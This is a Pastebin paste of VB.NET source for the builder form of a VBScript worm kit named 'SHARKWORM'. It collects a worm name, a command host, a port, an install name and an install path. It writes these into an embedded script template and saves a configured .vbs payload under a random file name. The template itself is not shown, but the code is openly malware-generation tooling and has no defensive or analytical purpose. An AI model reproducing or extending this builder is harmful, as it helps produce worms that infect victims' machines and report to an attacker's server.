Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports Microsoft.VisualBasic
- Imports Microsoft.VisualBasic.CompilerServices
- Imports System
- Imports System.Collections.Generic
- Imports System.ComponentModel
- Imports System.Diagnostics
- Imports System.Drawing
- Imports System.IO
- Imports System.Runtime.CompilerServices
- Imports System.Windows.Forms
- Imports Sec_wOrm.SHARKWORM
- Public Class Form2
- Dim value As Integer
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- Try
- Randomize()
- 'Generate random value between 8581 and 745447.
- value = CInt(Int((745447 * Rnd()) + 8581))
- Dim dialog As New SaveFileDialog
- dialog.FileName = value & ".vbs"
- dialog.Filter = "VBScrip|*.vbs"
- If (dialog.ShowDialog = DialogResult.OK) Then
- compile(nam.Text, host.Text, TextBox1.Text, insname.Text, dir.Text, dialog.FileName)
- Try
- FN.STV("bport", Conversions.ToString(Me.TextBox1.Text))
- ListBox1.Items.Clear()
- ListBox1.Items.Add("Port Number : " & TextBox1.Text & ChrW(13) & ChrW(10))
- ProgressBar1.Value = 20
- Catch exception1 As Exception
- End Try
- Try
- FN.STV("nam", Me.nam.Text)
- ListBox1.Items.Add("Name wOrm : " & nam.Text & ChrW(13) & ChrW(10))
- ProgressBar1.Value = 20
- Catch exception6 As Exception
- End Try
- Try
- FN.STV("host", Me.host.Text)
- ListBox1.Items.Add("Host Name : " & host.Text & ChrW(13) & ChrW(10))
- ProgressBar1.Value = 20
- Catch exception7 As Exception
- End Try
- Try
- FN.STV("Ins", Me.insname.Text)
- ListBox1.Items.Add("Install Name : " & insname.Text & ChrW(13) & ChrW(10))
- ProgressBar1.Value = 20
- Catch exception8 As Exception
- End Try
- Try
- FN.STV("dir", Conversions.ToString(Me.dir.SelectedIndex))
- ListBox1.Items.Add("Install Path : " & dir.Text & ChrW(13) & ChrW(10))
- ProgressBar1.Value = 100
- Catch exception9 As Exception
- End Try
- End If
- System.Threading.Thread.Sleep(1000)
- MessageBox.Show("Configuration has been successfully : " & dialog.FileName, "DONE!")
- Catch : End Try
- End Sub
- Public Sub compile(ByVal Name As String, ByVal host As String, ByVal port As Integer, ByVal exe As String, ByVal dir As String, ByVal out As String)
- Try
- Dim xc As String = My.Resources.srctxt
- xc = xc.Replace("<name>", Name)
- xc = xc.Replace("<host>", host)
- xc = xc.Replace("<port>", Conversions.ToString(port))
- xc = xc.Replace("<installname>", exe)
- xc = xc.Replace("<dir>", dir)
- Dim dialog As New SaveFileDialog
- dialog.FileName = "Test.VBS"
- dialog.Filter = "|*.vbs"
- IO.File.WriteAllText(out, xc)
- Catch : End Try
- End Sub
- Private Sub Form2_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
- Try
- ListBox1.Items.Add("Idle ...")
- Me.dir.SelectedIndex = 0
- Try
- TextBox1.Text = FN.GTV("bport", TextBox1.Text)
- ' port.Value = FN.GTV("bport", port.Value)
- Catch exception1 As Exception
- End Try
- Try
- nam.Text = FN.GTV("nam", Me.nam.Text)
- Catch exception7 As Exception
- End Try
- Try
- host.Text = FN.GTV("host", host.Text)
- Catch exception8 As Exception
- End Try
- Try
- insname.Text = FN.GTV("exe", insname.Text)
- Catch exception9 As Exception
- End Try
- Try
- dir.SelectedIndex = FN.GTV("dir", 0)
- Catch exception10 As Exception
- End Try
- Try
- Catch exception11 As Exception
- End Try
- Catch : End Try
- End Sub
- Private Sub insname_MouseLeave(ByVal sender As Object, ByVal e As System.EventArgs) Handles insname.MouseLeave
- Try
- If (Me.insname.Text <> "") Then
- Dim insname As TextBox
- If Me.insname.Text.Contains(".") Then
- Dim str As String = Strings.Split(Me.insname.Text, ".", -1, CompareMethod.Binary)((Strings.Split(Me.insname.Text, ".", -1, CompareMethod.Binary).Length - 1)).ToLower
- If (str <> "vbs") Then
- insname = Me.insname
- insname.Text = (insname.Text & ".vbs")
- End If
- Else
- insname = Me.insname
- insname.Text = (insname.Text & ".vbs")
- End If
- Else
- Me.insname.Text = "Test.vbs"
- End If
- Catch : End Try
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement